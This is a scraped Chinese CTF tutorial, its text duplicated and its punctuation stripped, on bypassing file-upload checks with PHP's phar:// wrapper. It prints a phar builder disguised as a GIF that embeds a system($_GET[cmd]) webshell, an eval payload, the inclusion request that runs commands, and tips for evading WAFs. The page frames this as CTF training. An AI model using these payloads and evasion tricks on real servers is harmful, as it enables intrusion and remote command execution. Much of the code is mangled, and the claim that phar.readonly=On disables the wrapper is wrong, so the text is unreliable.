CTF实战手把手教你用phar伪协议绕过上传限制拿下NSS靶场Flag在CTF竞赛中文件上传漏洞一直是Web安全领域的经典考点。今天我们将深入剖析如何利用PHP的phar伪协议绕过上传限制通过NSSCTF的一道典型题目带你从零开始构建完整的攻击链。无论你是刚接触CTF的新手还是希望提升实战能力的安全爱好者这篇指南都将为你提供可立即复现的实用技巧。1. 环境准备与漏洞分析首先我们需要搭建一个与NSS靶场相似的环境。推荐使用PHPStudy快速构建测试平台# 下载PHPStudy wget https://www.xp.cn/download/phpstudy_linux.tar.gz # 解压并启动服务 tar -zxvf phpstudy_linux.tar.gz cd phpstudy ./phpstudy start关键漏洞点分析前端限制仅允许上传图片或压缩包.jpg/.png/.zip等后端存在自动添加.php后缀的文件包含漏洞服务器支持phar伪协议处理压缩文件注意实际CTF比赛中环境可能使用Docker快速部署但原理完全相同2. phar文件构造实战phar文件本质是PHP的归档格式但我们可以利用其特性构造特殊文件。以下是创建恶意phar文件的完整流程?php $phar new Phar(exploit.phar); $phar-startBuffering(); $phar-setStub(GIF89a?php __HALT_COMPILER(); ?); // 伪装成GIF文件 $phar-addFromString(shell.php, ?php system($_GET[cmd]); ?); $phar-stopBuffering(); ?执行后会生成exploit.phar文件我们可以将其重命名为exploit.gif绕过上传限制。关键点在于文件头伪装GIF89a使文件被识别为GIF图片Stub构造必须包含__HALT_COMPILER()标记有效载荷内部包含的shell.php将作为后门文件结构对比文件类型特征标识可执行内容正常GIFGIF89a...仅图像数据恶意pharGIF89aPHP标记包含可执行代码3. 完整攻击链实现现在我们来逐步实施攻击上传伪装文件将exploit.phar重命名为exploit.gif通过上传接口提交文件定位文件路径通常返回/uploads/exploit.gif若未显示可尝试常见路径如/upload/、/tmp/触发文件包含GET /index.php?includephar:///var/www/html/uploads/exploit.gif/shellcmdid HTTP/1.1 Host: target.com参数解析phar://指定使用phar协议路径指向上传的图片/shell指向压缩包内文件无需后缀获取命令执行服务器会执行system(id)返回uid信息证明漏洞利用成功4. 防御方案与进阶技巧了解攻击手段后我们更应知道如何防护有效防御措施禁用危险协议php.ini中设置phar.readonlyOn文件内容校验使用getimagesize()验证图片真实性重命名上传文件避免路径预测设置open_basedir限制文件访问范围CTF中的变种利用结合exif数据隐藏payload$phar-setMetadata([exif ?php eval($_GET[1]);?]);使用zip协议替代pharzip://uploads/exploit.gif%23shell二次压缩绕过内容检测5. 本地复现与调试技巧建议在本地完整复现整个流程使用Docker快速搭建环境FROM php:7.4-apache RUN docker-php-ext-install mysqli a2enmod rewrite COPY ./src /var/www/html调试文件包含漏洞// 在包含前添加日志记录 file_put_contents(/tmp/log.txt, $_GET[include], FILE_APPEND);使用Burp Suite拦截修改请求修改文件扩展名测试不同协议处理6. 实战经验分享在真实CTF比赛中有几个容易忽略的细节Windows系统下路径需要使用反斜杠phar://C:\xampp\htdocs\uploads\exploit.gif/shell当遇到waf拦截时可以尝试使用短标签?代替?php将payload分段存放在多个文件利用注释符干扰检测内存限制问题; 调整php.ini设置 memory_limit 256M phar.readonly Off最后提醒所有技术学习都应遵守法律法规仅在授权环境中进行测试。掌握这些知识是为了更好地保护系统安全而非实施非法入侵。
CTF实战:手把手教你用phar伪协议绕过上传限制,拿下NSS靶场Flag
发布时间:2026/5/20 17:34:31
CTF实战手把手教你用phar伪协议绕过上传限制拿下NSS靶场Flag在CTF竞赛中文件上传漏洞一直是Web安全领域的经典考点。今天我们将深入剖析如何利用PHP的phar伪协议绕过上传限制通过NSSCTF的一道典型题目带你从零开始构建完整的攻击链。无论你是刚接触CTF的新手还是希望提升实战能力的安全爱好者这篇指南都将为你提供可立即复现的实用技巧。1. 环境准备与漏洞分析首先我们需要搭建一个与NSS靶场相似的环境。推荐使用PHPStudy快速构建测试平台# 下载PHPStudy wget https://www.xp.cn/download/phpstudy_linux.tar.gz # 解压并启动服务 tar -zxvf phpstudy_linux.tar.gz cd phpstudy ./phpstudy start关键漏洞点分析前端限制仅允许上传图片或压缩包.jpg/.png/.zip等后端存在自动添加.php后缀的文件包含漏洞服务器支持phar伪协议处理压缩文件注意实际CTF比赛中环境可能使用Docker快速部署但原理完全相同2. phar文件构造实战phar文件本质是PHP的归档格式但我们可以利用其特性构造特殊文件。以下是创建恶意phar文件的完整流程?php $phar new Phar(exploit.phar); $phar-startBuffering(); $phar-setStub(GIF89a?php __HALT_COMPILER(); ?); // 伪装成GIF文件 $phar-addFromString(shell.php, ?php system($_GET[cmd]); ?); $phar-stopBuffering(); ?执行后会生成exploit.phar文件我们可以将其重命名为exploit.gif绕过上传限制。关键点在于文件头伪装GIF89a使文件被识别为GIF图片Stub构造必须包含__HALT_COMPILER()标记有效载荷内部包含的shell.php将作为后门文件结构对比文件类型特征标识可执行内容正常GIFGIF89a...仅图像数据恶意pharGIF89aPHP标记包含可执行代码3. 完整攻击链实现现在我们来逐步实施攻击上传伪装文件将exploit.phar重命名为exploit.gif通过上传接口提交文件定位文件路径通常返回/uploads/exploit.gif若未显示可尝试常见路径如/upload/、/tmp/触发文件包含GET /index.php?includephar:///var/www/html/uploads/exploit.gif/shellcmdid HTTP/1.1 Host: target.com参数解析phar://指定使用phar协议路径指向上传的图片/shell指向压缩包内文件无需后缀获取命令执行服务器会执行system(id)返回uid信息证明漏洞利用成功4. 防御方案与进阶技巧了解攻击手段后我们更应知道如何防护有效防御措施禁用危险协议php.ini中设置phar.readonlyOn文件内容校验使用getimagesize()验证图片真实性重命名上传文件避免路径预测设置open_basedir限制文件访问范围CTF中的变种利用结合exif数据隐藏payload$phar-setMetadata([exif ?php eval($_GET[1]);?]);使用zip协议替代pharzip://uploads/exploit.gif%23shell二次压缩绕过内容检测5. 本地复现与调试技巧建议在本地完整复现整个流程使用Docker快速搭建环境FROM php:7.4-apache RUN docker-php-ext-install mysqli a2enmod rewrite COPY ./src /var/www/html调试文件包含漏洞// 在包含前添加日志记录 file_put_contents(/tmp/log.txt, $_GET[include], FILE_APPEND);使用Burp Suite拦截修改请求修改文件扩展名测试不同协议处理6. 实战经验分享在真实CTF比赛中有几个容易忽略的细节Windows系统下路径需要使用反斜杠phar://C:\xampp\htdocs\uploads\exploit.gif/shell当遇到waf拦截时可以尝试使用短标签?代替?php将payload分段存放在多个文件利用注释符干扰检测内存限制问题; 调整php.ini设置 memory_limit 256M phar.readonly Off最后提醒所有技术学习都应遵守法律法规仅在授权环境中进行测试。掌握这些知识是为了更好地保护系统安全而非实施非法入侵。